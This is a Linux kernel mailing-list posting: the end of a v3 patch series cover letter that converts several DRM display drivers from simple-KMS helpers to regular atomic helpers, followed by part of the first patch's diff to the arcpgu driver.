drivers, but instead adds an extra wrapper around normal DRM atomic
helper setup. As noted in Documentation/gpu/todo.rst, remaining users
should be converted to regular atomic helpers and stop depending on the
simple-KMS interfaces.

This series converts the following drivers:

  - arcpgu
  - aspeed
  - mcde
  - pl111
  - gm12u320
  - repaper
  - tve200
  - xen frontend

Each patch replaces drm_simple_display_pipe_init() with explicit
primary plane, CRTC and encoder setup, and moves the old simple-pipe
callbacks into regular plane and CRTC helper callbacks named according
to local driver conventions.

The conversions preserve helper behavior that used to be implicit in
drm_simple_kms_helper.c, including plane-state validation, CRTC
primary-plane checks, affected-plane propagation, framebuffer prepare
handling, and existing event/vblank flow where applicable.

Result is less helper indirection and more explicit driver-side atomic
wiring, with no remaining simple-KMS dependency in these drivers.

Except for gm12u320, no hardware testing was performed.

This series is based on drm-next-2026-06-27.

AI usage disclosure:
- I wrote the first two commits myself. The remaining patches were completed
  with assistance from AI tools.
- AI tools were also used to review the code and suggest code changes for
  the DRM atomic conversion.

Thanks,
Ze Huang

Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
---
Changes in v3:
- Use atomic state from the commit path consistently in converted helpers:
  fetch new CRTC/plane state from the commit in enable/update/flush paths, and
  use drm_atomic_get_crtc_state() with PTR_ERR() handling in plane atomic_check
  hooks before drm_atomic_helper_check_plane_state().
- Move MCDE one-shot flow start from plane atomic_update() to CRTC
  atomic_flush(), after pending vblank event handling.
- Fix repaper damage update path to skip updates unless CRTC is active.
- Fix arcpgu missing remote encoder node handling and lock CRTC state access in
  debugfs.
- Make container helpers static inline.
- Link to v2: https://lore.kernel.org/r/20260716-drm-simple-kms-removal-v2-0-1133a8fc3785@oss.qualcomm.com

Changes in v2:
- common changes:
- create upcast helpers
- use 'commit' as name of struct drm_atomic_commit in atomic helpers
- improve control flow in *_crtc_helper_atomic_check() and
  *_plane_helper_atomic_check()
- Moved page-flip/vblank event handling out of plane update paths and into
  CRTC atomic_flush(), using atomic_flush and disable paths for mcde,
  pl111 and tve200
- arcpgu:
    - remove reduntant mod_supported helper
    - change obsolete mode field to crtc->state->mode
- mcde:
    - drop attach of unused encoder
- tve200:
    - reorder connector/bridge attach
- xen:
    - change possible_crtcs mask to 0
- Link to v1: https://patch.msgid.link/20260705-drm-simple-kms-removal-v1-0-b4e1ca053623@oss.qualcomm.com

---
Ze Huang (8):
      drm/arcpgu: replace struct drm_simple_display_pipe with regular atomic helpers
      drm/aspeed: replace struct drm_simple_display_pipe with regular atomic helpers
      drm/mcde: replace struct drm_simple_display_pipe with regular atomic helpers
      drm/pl111: replace struct drm_simple_display_pipe with regular atomic helpers
      drm/gm12u320: replace struct drm_simple_display_pipe with regular atomic helpers
      drm/repaper: replace struct drm_simple_display_pipe with regular atomic helpers
      drm/tve200: replace struct drm_simple_display_pipe with regular atomic helpers
      drm/xen: replace struct drm_simple_display_pipe with regular atomic helpers

 drivers/gpu/drm/aspeed/aspeed_gfx.h      |  11 +-
 drivers/gpu/drm/aspeed/aspeed_gfx_crtc.c | 203 ++++++++++++++++++-------
 drivers/gpu/drm/aspeed/aspeed_gfx_drv.c  |   3 +-
 drivers/gpu/drm/mcde/mcde_display.c      | 248 ++++++++++++++++++++-----------
 drivers/gpu/drm/mcde/mcde_drm.h          |  12 +-
 drivers/gpu/drm/mcde/mcde_drv.c          |   3 +-
 drivers/gpu/drm/pl111/pl111_display.c    | 199 ++++++++++++++++++-------
 drivers/gpu/drm/pl111/pl111_drm.h        |   5 +-
 drivers/gpu/drm/pl111/pl111_drv.c        |   3 +-
 drivers/gpu/drm/tiny/arcpgu.c            | 201 +++++++++++++++++++------
 drivers/gpu/drm/tiny/gm12u320.c          | 138 +++++++++++++----
 drivers/gpu/drm/tiny/repaper.c           | 138 +++++++++++++----
 drivers/gpu/drm/tve200/tve200_display.c  | 219 ++++++++++++++++++---------
 drivers/gpu/drm/tve200/tve200_drm.h      |   6 +-
 drivers/gpu/drm/tve200/tve200_drv.c      |  12 +-
 drivers/gpu/drm/xen/xen_drm_front.h      |   6 +-
 drivers/gpu/drm/xen/xen_drm_front_kms.c  | 188 ++++++++++++++++-------
 17 files changed, 1155 insertions(+), 440 deletions(-)
---
base-commit: 3696d07837d1df13a5603d77f667685e7dfb3c53
change-id: 20260704-drm-simple-kms-removal-01a031c6a129

Best regards,
-- 
Ze Huang <ze.huang@oss.qualcomm.com>



From xen-devel-bounces@lists.xenproject.org Sun Jul 26 19:45:51 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 26 Jul 2026 19:45:51 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371204.1618855 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wo4nH-0005FM-HL; Sun, 26 Jul 2026 19:45:51 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371204.1618855; Sun, 26 Jul 2026 19:45:51 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wo4nH-0005FF-EJ; Sun, 26 Jul 2026 19:45:51 +0000
Received: by outflank-mailman (input) for mailman id 1371204;
 Sun, 26 Jul 2026 19:45:50 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1wo4nF-0005EM-RR
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 19:45:50 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wo4nF-005uSP-8R
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 21:45:49 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a666361-bab6-0a2a0a5309dd-0a2a4509d402-38
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 21:45:49 +0200
Received: from [205.220.168.131] (helo=mx0a-0031df01.pphosted.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a6663eb-be1a-0a2a45090019-cddca883d942-3
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 21:45:48 +0200
Received: from pps.filterd (m0279866.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66QH6eCm955075
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 19:45:46 GMT
Received: from mail-pl1-f200.google.com (mail-pl1-f200.google.com
 [209.85.214.200])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4fmpeebdxf-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 19:45:46 +0000 (GMT)
Received: by mail-pl1-f200.google.com with SMTP id
 d9443c01a7336-2cfca8558d2so28690855ad.2
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 12:45:46 -0700 (PDT)
Received: from le-cd01-lnx.qualcomm.com ([114.94.8.21])
 by smtp.gmail.com with ESMTPSA id
 98e67ed59e1d1-38f03b0eaa8sm4105998a91.8.2026.07.26.12.45.37
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Sun, 26 Jul 2026 12:45:44 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-Id:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Cc:To:In-Reply-To:References:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	J6+lcE074QQEAdQOuVNwreBseeGR/lrDSDS0Q2DJm30=; b=E0wlU7aHZ/ViM/pX
	o/1GtHfv72LS8z+4+VritNAV63YhzEuFfvEQoyNnGwisbvxYCGJE/XGwLgb1LVjR
	782G2tn/cV595VBpz1n2Qb0QkXkc7B5+wuVNHdgmZg1b636yJtn7HD+kYP0oXUMe
	mZV5H8rrk2hCSYREdcPOaEereLkgNhZlgLhFVkS8Iy80PO0oDWK3eSZnlOVscyn9
	r56npLDw3QaoRhUBFCRVGSxdJhsYqhw+FTaPYkefM9bxGoNglpQMb/fI+4/K5BFG
	ffCU/M94OqaRu1G0grgJ+P6/hHmC/SWKwMBYsy0pral3OhHLXjKBcQvVArcLJGvC
	901YmA==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1785095146; x=1785699946; darn=lists.xenproject.org;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=J6+lcE074QQEAdQOuVNwreBseeGR/lrDSDS0Q2DJm30=;
        b=DeT+/T+pvsHQqCO5XzVvWFSGVmv/TM4X3Ki0rs6/yfMEN607NsQGRo+notHdi5ZZFc
         OJwjrEcXms+XpWLz4zx09dYc8RLnQV1k1DqXnnPenMkW/EIyRRkHBQLczZTk/GABc4mN
         EO9riNnfX3lD7pdM4Z7AmO+91zIpVww/rN4sNPQwYK7OOc3pP91WngAm2oaLJYZvs9g0
         tRvf7eXQmNiGf++3RfaiqiWAVJpZ60qyh4yPZGDvraQVaBvqYq09Kt/GgtlBEe0+23XF
         cRiTUcLehMfDW2MlE9ZySYNrgYw07egiGphV5icEuDAxWr4fZO/xrugBda7z0doi4g30
         ANWg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785095146; x=1785699946;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=J6+lcE074QQEAdQOuVNwreBseeGR/lrDSDS0Q2DJm30=;
        b=UJF7T3tLGZ/Czv4zrrcEJ5RtRlyu2Ps+02iB4efhH41X6ADuq0atpJrBh2uR/pU7WM
         xBYCeq39AFD2eEU1VK0UMTMkV8cG9LnPvJe4uNzqSYcRPLb7LuUqjTmJKj+quBMRE97U
         TdOp6wIGhrsjTSuN2w6ivGUVjUraegfS2cR3L6a+V9BxWReBpkIgRgqGoHdD3iUvfgvS
         NjuetQJjb8uMKFF0g6NffqJqDX7vetzd3kLR8ZVMV+tNigXIGc6coTgwieoh7U8ugGhr
         uobtgKTqFfakuEBaV7AnWGShU3g8DB4pYo8eKpDPhFiKaTj+2x/1IjgELh+NFeF7bJFZ
         XDrA==
X-Forwarded-Encrypted: i=1; AHgh+RrHtt4BxfbxukJjpxZD8NDC3dhkbgqaKVHUyj+W7wPsnW3kaPxmiwczY1RY6MDQQ1aw9QnrO80sdNI=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwJEWMroXozF+6xDkf4uQ2Y13hSGjMHSn1knrkEN7sBUVCL9NvJ
	wYiwWfVAUd+ai6/1igTKv91KfbDtRN2lHqiT7vEDwib+Lgek4f2WPfjUaRMr/mLYJGtb+B6BQcF
	Oh+oYUQi7ov4e4cS0Py1QOevwqrbMkcNk5LzV4qwbAgnugOHOjT3l8SJxwLR3TrxBXfep+lFYBO
	rDqJ/YAno=
X-Gm-Gg: AR+sD11Y1mMg5Lak4OXIKYqtE+ye1De/wKGNyC3yqhSJ6124XodLYFBptbDXFeh9ri3
	Lp9eZOcxxsqxRpT8LW3OttNJpSA33AjtG804rhht5jBPAsx5fLEbZb43MCBNmENukjHWhVvzaBw
	UgzPLEARO7Tb7HjW6J4cdqPTSRpa+Sg+KkZU9oVhlZOQ9+arABTzrUQPpkPVT45pwbThNJz6xgt
	SIGsyiClAF6Q3iUgvujWLZaLIxbYTHSLh+qtcitkdCa9jQ1onMZx3N2kNshLAh3I7dm2M7VPqDz
	bus03UDEH9BLHCbLDT7QPY4KzigMbMvY0bWMHaDEja/VyY2huhaiPGIJPamQHFkI4azy1IiUGe3
	418Ru42gD19/pBKCesRxl
X-Received: by 2002:a17:90b:57e3:b0:38e:9279:468c with SMTP id 98e67ed59e1d1-38f296091e5mr5566784a91.25.1785095145655;
        Sun, 26 Jul 2026 12:45:45 -0700 (PDT)
X-Received: by 2002:a17:90b:57e3:b0:38e:9279:468c with SMTP id 98e67ed59e1d1-38f296091e5mr5566754a91.25.1785095145112;
        Sun, 26 Jul 2026 12:45:45 -0700 (PDT)
From: Ze Huang <ze.huang@oss.qualcomm.com>
Date: Mon, 27 Jul 2026 03:45:14 +0800
Subject: [PATCH v3 1/8] drm/arcpgu: replace struct drm_simple_display_pipe
 with regular atomic helpers
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260727-drm-simple-kms-removal-v3-1-cd5dc89858c6@oss.qualcomm.com>
References: <20260727-drm-simple-kms-removal-v3-0-cd5dc89858c6@oss.qualcomm.com>
In-Reply-To: <20260727-drm-simple-kms-removal-v3-0-cd5dc89858c6@oss.qualcomm.com>
To: Alexey Brodkin <abrodkin@synopsys.com>,
        Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
        Maxime Ripard <mripard@kernel.org>,
        Thomas Zimmermann <tzimmermann@suse.de>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Joel Stanley <joel@jms.id.au>,
        Andrew Jeffery <andrew@codeconstruct.com.au>,
        Frank Li <Frank.Li@nxp.com>, Sascha Hauer <s.hauer@pengutronix.de>,
        Pengutronix Kernel Team <kernel@pengutronix.de>,
        Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
        Hans de Goede <hansg@kernel.org>,
        Alex Lanzano <lanzano.alex@gmail.com>,
        Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
        linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
        imx@lists.linux.dev, xen-devel@lists.xenproject.org,
        Ze Huang <ze.huang@oss.qualcomm.com>
X-Mailer: b4 0.14.3
X-Developer-Signature: v=1; a=ed25519-sha256; t=1785095128; l=13083;
 i=ze.huang@oss.qualcomm.com; s=20260716; h=from:subject:message-id;
 bh=u7exUdyCprg8S9F0jxX38ipcgKHv/vnrTEoFU9vPkn0=;
 b=ZZ9Plhe5vhdeps49o98fJZwGYMXe7qfovRpPLQtu3Ndk8ZaA/xZ5h5iF+eVEKTBGql3NdYneD
 e8qZB80aBZwDC1tqIMZQu2S2jeS6nDQM6Y2Hd/QRPAINQ4pNhlPy2B5
X-Developer-Key: i=ze.huang@oss.qualcomm.com; a=ed25519;
 pk=8uGhlZHInA8NXq7G6u/g59qEcwXwuMRI7nBSnT/ijtY=
X-Authority-Analysis: v=2.4 cv=Jr3Bas4C c=1 sm=1 tr=0 ts=6a6663ea cx=c_pps
 a=IZJwPbhc+fLeJZngyXXI0A==:117 a=Uz3yg00KUFJ2y2WijEJ4bw==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=YMgV9FUhrdKAYTUUvYB2:22
 a=EUspDBNiAAAA:8 a=f2ANGF4ctf8G8blR-OgA:9 a=QEXdDO2ut3YA:10
 a=uG9DUKGECoFWVXl0Dc02:22
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzI2MDIwMCBTYWx0ZWRfX2dvnC/dk9Jr3
 knbRY46gf6DgHWqRZCVUdycQq+g+a4ORVnr+fPMMA0T3ELLJofe4asNaRNokUJIp4BFi14Ggrgd
 8EUBhQahCbIYJAOR7262y5fCNR1YsVU=
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzI2MDIwMCBTYWx0ZWRfXywKQqReuKmHK
 tkE9NlH8numOLQLTcNg/1FsD260kuIfB93CEr7tiCT2gB6/1HWCYnEW4WapljuMJspZWVTPsgLP
 nnQuwaIqV2G/DiaP9fV6iCrGq947pyVr3lPm5BLhpeLr0s3J5bNtcfklOIYQ3C67nVk0lhXYd6F
 yA09U2v7txwChbBd6/wLdLPv4Y9pBupZzQ1NZoqx6qkyjbKyOf+eLIt1FnAvMStJIwQQDoQdSsq
 81MXtbTlOmiFBZQQkDO2NvBAQiB5dQx0oWYCmQokPMKUGK9/T10p/eXgfdDchKvMeFRKEeadW7K
 nsq8l1yo9KSmdTihu5wx+WTG/zY+rA06AML2elnqqWDrK6Syp9+Wwb73jVb8GwLOkhibfWGH+Id
 uUYUgasaswmdYY+NQSUxcNEeuE1h4k094/v3JhJsWFS5creTJ3eGuh2hoa4hGZeatRmlZVUIRb4
 xWOrdNKNtJhK+1gw03g==
X-Proofpoint-ORIG-GUID: VRCMqVrlbJxXh_ti9MtkMi7glgiwHziF
X-Proofpoint-GUID: VRCMqVrlbJxXh_ti9MtkMi7glgiwHziF
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-26_05,2026-07-24_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501 suspectscore=0 malwarescore=0 spamscore=0 adultscore=0
 impostorscore=0 phishscore=0 clxscore=1015 bulkscore=0 lowpriorityscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607260200
X-purgate-ID: tlsNG-bad1c0/1785095149-BCECE034-5D14B0E9/0/0
X-purgate-type: clean
X-purgate-size: 13085

Instantiate the primary plane, CRTC and encoder directly and wire them up
with standard atomic helpers.

Move the simple-pipe callbacks into explicit plane and CRTC helper
callbacks. Use commit-local CRTC and plane state in the CRTC enable path
for mode and pixel-format programming.

Handle missing remote encoder nodes explicitly and take the CRTC modeset
lock while reading CRTC state from debugfs.

Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>

---
Changes in v3:
- Use commit-local CRTC and plane state in the CRTC enable path.
- Handle missing remote encoder nodes explicitly.
- Lock CRTC state access in debugfs.
---
 drivers/gpu/drm/tiny/arcpgu.c | 201 ++++++++++++++++++++++++++++++++----------
 1 file changed, 152 insertions(+), 49 deletions(-)

diff --git a/drivers/gpu/drm/tiny/arcpgu.c b/drivers/gpu/drm/tiny/arcpgu.c
index c93d61ac0bb7..19a943f5f792 100644
--- a/drivers/gpu/drm/tiny/arcpgu.c
+++ b/drivers/gpu/drm/tiny/arcpgu.c
@@ -8,6 +8,7 @@
 #include <linux/clk.h>
 
 #include <drm/clients/drm_client_setup.h>
+#include <drm/drm_atomic.h>
 #include <drm/drm_atomic_helper.h>
 #include <drm/drm_debugfs.h>
 #include <drm/drm_device.h>
@@ -17,12 +18,13 @@
 #include <drm/drm_fbdev_dma.h>
 #include <drm/drm_fourcc.h>
 #include <drm/drm_framebuffer.h>
+#include <drm/drm_gem_atomic_helper.h>
 #include <drm/drm_gem_dma_helper.h>
 #include <drm/drm_gem_framebuffer_helper.h>
 #include <drm/drm_module.h>
 #include <drm/drm_of.h>
+#include <drm/drm_plane.h>
 #include <drm/drm_probe_helper.h>
-#include <drm/drm_simple_kms_helper.h>
 #include <linux/dma-mapping.h>
 #include <linux/module.h>
 #include <linux/of_reserved_mem.h>
@@ -52,13 +54,16 @@ struct arcpgu_drm_private {
 	struct drm_device	drm;
 	void __iomem		*regs;
 	struct clk		*clk;
-	struct drm_simple_display_pipe pipe;
+	struct drm_plane	plane;
+	struct drm_crtc		crtc;
+	struct drm_encoder	encoder;
 	struct drm_connector	sim_conn;
 };
 
-#define dev_to_arcpgu(x) container_of(x, struct arcpgu_drm_private, drm)
-
-#define pipe_to_arcpgu_priv(x) container_of(x, struct arcpgu_drm_private, pipe)
+static inline struct arcpgu_drm_private *dev_to_arcpgu(struct drm_device *drm)
+{
+	return container_of(drm, struct arcpgu_drm_private, drm);
+}
 
 static inline void arc_pgu_write(struct arcpgu_drm_private *arcpgu,
 				 unsigned int reg, u32 value)
@@ -115,9 +120,10 @@ static const u32 arc_pgu_supported_formats[] = {
 	DRM_FORMAT_ARGB8888,
 };
 
-static void arc_pgu_set_pxl_fmt(struct arcpgu_drm_private *arcpgu)
+static void arc_pgu_set_pxl_fmt(struct arcpgu_drm_private *arcpgu,
+				const struct drm_plane_state *plane_state)
 {
-	const struct drm_framebuffer *fb = arcpgu->pipe.plane.state->fb;
+	const struct drm_framebuffer *fb = plane_state->fb;
 	uint32_t pixel_format = fb->format->format;
 	u32 format = DRM_FORMAT_INVALID;
 	int i;
@@ -139,10 +145,10 @@ static void arc_pgu_set_pxl_fmt(struct arcpgu_drm_private *arcpgu)
 	arc_pgu_write(arcpgu, ARCPGU_REG_CTRL, reg_ctrl);
 }
 
-static enum drm_mode_status arc_pgu_mode_valid(struct drm_simple_display_pipe *pipe,
-					       const struct drm_display_mode *mode)
+static enum drm_mode_status arcpgu_crtc_helper_mode_valid(struct drm_crtc *crtc,
+							  const struct drm_display_mode *mode)
 {
-	struct arcpgu_drm_private *arcpgu = pipe_to_arcpgu_priv(pipe);
+	struct arcpgu_drm_private *arcpgu = dev_to_arcpgu(crtc->dev);
 	long rate, clk_rate = mode->clock * 1000;
 	long diff = clk_rate / 200; /* +-0.5% allowed by HDMI spec */
 
@@ -153,9 +159,11 @@ static enum drm_mode_status arc_pgu_mode_valid(struct drm_simple_display_pipe *p
 	return MODE_NOCLOCK;
 }
 
-static void arc_pgu_mode_set(struct arcpgu_drm_private *arcpgu)
+static void arc_pgu_mode_set(struct arcpgu_drm_private *arcpgu,
+			     struct drm_crtc_state *crtc_state,
+			     struct drm_plane_state *plane_state)
 {
-	struct drm_display_mode *m = &arcpgu->pipe.crtc.state->adjusted_mode;
+	struct drm_display_mode *m = &crtc_state->adjusted_mode;
 	u32 val;
 
 	arc_pgu_write(arcpgu, ARCPGU_REG_FMT,
@@ -189,18 +197,19 @@ static void arc_pgu_mode_set(struct arcpgu_drm_private *arcpgu)
 	arc_pgu_write(arcpgu, ARCPGU_REG_STRIDE, 0);
 	arc_pgu_write(arcpgu, ARCPGU_REG_START_SET, 1);
 
-	arc_pgu_set_pxl_fmt(arcpgu);
+	arc_pgu_set_pxl_fmt(arcpgu, plane_state);
 
 	clk_set_rate(arcpgu->clk, m->crtc_clock * 1000);
 }
 
-static void arc_pgu_enable(struct drm_simple_display_pipe *pipe,
-			   struct drm_crtc_state *crtc_state,
-			   struct drm_plane_state *plane_state)
+static void arcpgu_crtc_helper_atomic_enable(struct drm_crtc *crtc,
+					     struct drm_atomic_commit *commit)
 {
-	struct arcpgu_drm_private *arcpgu = pipe_to_arcpgu_priv(pipe);
+	struct arcpgu_drm_private *arcpgu = dev_to_arcpgu(crtc->dev);
+	struct drm_plane_state *pstate = drm_atomic_get_new_plane_state(commit, &arcpgu->plane);
+	struct drm_crtc_state *cstate = drm_atomic_get_new_crtc_state(commit, crtc);
 
-	arc_pgu_mode_set(arcpgu);
+	arc_pgu_mode_set(arcpgu, cstate, pstate);
 
 	clk_prepare_enable(arcpgu->clk);
 	arc_pgu_write(arcpgu, ARCPGU_REG_CTRL,
@@ -208,9 +217,10 @@ static void arc_pgu_enable(struct drm_simple_display_pipe *pipe,
 		      ARCPGU_CTRL_ENABLE_MASK);
 }
 
-static void arc_pgu_disable(struct drm_simple_display_pipe *pipe)
+static void arcpgu_crtc_helper_atomic_disable(struct drm_crtc *crtc,
+					      struct drm_atomic_commit *commit)
 {
-	struct arcpgu_drm_private *arcpgu = pipe_to_arcpgu_priv(pipe);
+	struct arcpgu_drm_private *arcpgu = dev_to_arcpgu(crtc->dev);
 
 	clk_disable_unprepare(arcpgu->clk);
 	arc_pgu_write(arcpgu, ARCPGU_REG_CTRL,
@@ -218,27 +228,21 @@ static void arc_pgu_disable(struct drm_simple_display_pipe *pipe)
 			      ~ARCPGU_CTRL_ENABLE_MASK);
 }
 
-static void arc_pgu_update(struct drm_simple_display_pipe *pipe,
-			   struct drm_plane_state *state)
+static void arcpgu_plane_helper_atomic_update(struct drm_plane *plane,
+					      struct drm_atomic_commit *commit)
 {
+	struct drm_plane_state *pstate = drm_atomic_get_new_plane_state(commit, plane);
 	struct arcpgu_drm_private *arcpgu;
 	struct drm_gem_dma_object *gem;
 
-	if (!pipe->plane.state->fb)
+	if (!pstate->fb)
 		return;
 
-	arcpgu = pipe_to_arcpgu_priv(pipe);
-	gem = drm_fb_dma_get_gem_obj(pipe->plane.state->fb, 0);
+	arcpgu = dev_to_arcpgu(plane->dev);
+	gem = drm_fb_dma_get_gem_obj(pstate->fb, 0);
 	arc_pgu_write(arcpgu, ARCPGU_REG_BUF0_ADDR, gem->dma_addr);
 }
 
-static const struct drm_simple_display_pipe_funcs arc_pgu_pipe_funcs = {
-	.update = arc_pgu_update,
-	.mode_valid = arc_pgu_mode_valid,
-	.enable	= arc_pgu_enable,
-	.disable = arc_pgu_disable,
-};
-
 static const struct drm_mode_config_funcs arcpgu_drm_modecfg_funcs = {
 	.fb_create  = drm_gem_fb_create,
 	.atomic_check = drm_atomic_helper_check,
@@ -247,6 +251,74 @@ static const struct drm_mode_config_funcs arcpgu_drm_modecfg_funcs = {
 
 DEFINE_DRM_GEM_DMA_FOPS(arcpgu_drm_ops);
 
+static int arcpgu_plane_helper_atomic_check(struct drm_plane *plane,
+					    struct drm_atomic_commit *commit)
+{
+	struct drm_plane_state *plane_state = drm_atomic_get_new_plane_state(commit, plane);
+	struct drm_crtc_state *crtc_state = NULL;
+
+	if (plane_state->crtc) {
+		crtc_state = drm_atomic_get_crtc_state(commit, plane_state->crtc);
+		if (IS_ERR(crtc_state))
+			return PTR_ERR(crtc_state);
+	}
+
+	return drm_atomic_helper_check_plane_state(plane_state, crtc_state,
+						   DRM_PLANE_NO_SCALING,
+						   DRM_PLANE_NO_SCALING,
+						   false, false);
+}
+
+static const struct drm_plane_helper_funcs arcpgu_plane_helper_funcs = {
+	.prepare_fb	= drm_gem_plane_helper_prepare_fb,
+	.atomic_check	= arcpgu_plane_helper_atomic_check,
+	.atomic_update	= arcpgu_plane_helper_atomic_update,
+};
+
+static const struct drm_plane_funcs arcpgu_plane_funcs = {
+	.update_plane		= drm_atomic_helper_update_plane,
+	.disable_plane		= drm_atomic_helper_disable_plane,
+	.destroy		= drm_plane_cleanup,
+	.reset			= drm_atomic_helper_plane_reset,
+	.atomic_duplicate_state	= drm_atomic_helper_plane_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_plane_destroy_state,
+};
+
+static int arcpgu_crtc_helper_atomic_check(struct drm_crtc *crtc,
+					   struct drm_atomic_commit *commit)
+{
+	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
+	int ret;
+
+	if (crtc_state->enable) {
+		ret = drm_atomic_helper_check_crtc_primary_plane(crtc_state);
+		if (ret)
+			return ret;
+	}
+
+	return drm_atomic_add_affected_planes(commit, crtc);
+}
+
+static const struct drm_crtc_helper_funcs arcpgu_crtc_helper_funcs = {
+	.mode_valid	= arcpgu_crtc_helper_mode_valid,
+	.atomic_check	= arcpgu_crtc_helper_atomic_check,
+	.atomic_enable	= arcpgu_crtc_helper_atomic_enable,
+	.atomic_disable	= arcpgu_crtc_helper_atomic_disable,
+};
+
+static const struct drm_crtc_funcs arcpgu_crtc_funcs = {
+	.reset			= drm_atomic_helper_crtc_reset,
+	.destroy		= drm_crtc_cleanup,
+	.set_config		= drm_atomic_helper_set_config,
+	.page_flip		= drm_atomic_helper_page_flip,
+	.atomic_duplicate_state	= drm_atomic_helper_crtc_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_crtc_destroy_state,
+};
+
+static const struct drm_encoder_funcs arcpgu_encoder_funcs = {
+	.destroy = drm_encoder_cleanup,
+};
+
 static int arcpgu_load(struct arcpgu_drm_private *arcpgu)
 {
 	struct platform_device *pdev = to_platform_device(arcpgu->drm.dev);
@@ -254,6 +326,9 @@ static int arcpgu_load(struct arcpgu_drm_private *arcpgu)
 	struct device_node *endpoint_node = NULL;
 	struct drm_connector *connector = NULL;
 	struct drm_device *drm = &arcpgu->drm;
+	struct drm_plane *plane;
+	struct drm_encoder *encoder;
+	struct drm_crtc *crtc;
 	int ret;
 
 	arcpgu->clk = devm_clk_get(drm->dev, "pxlclk");
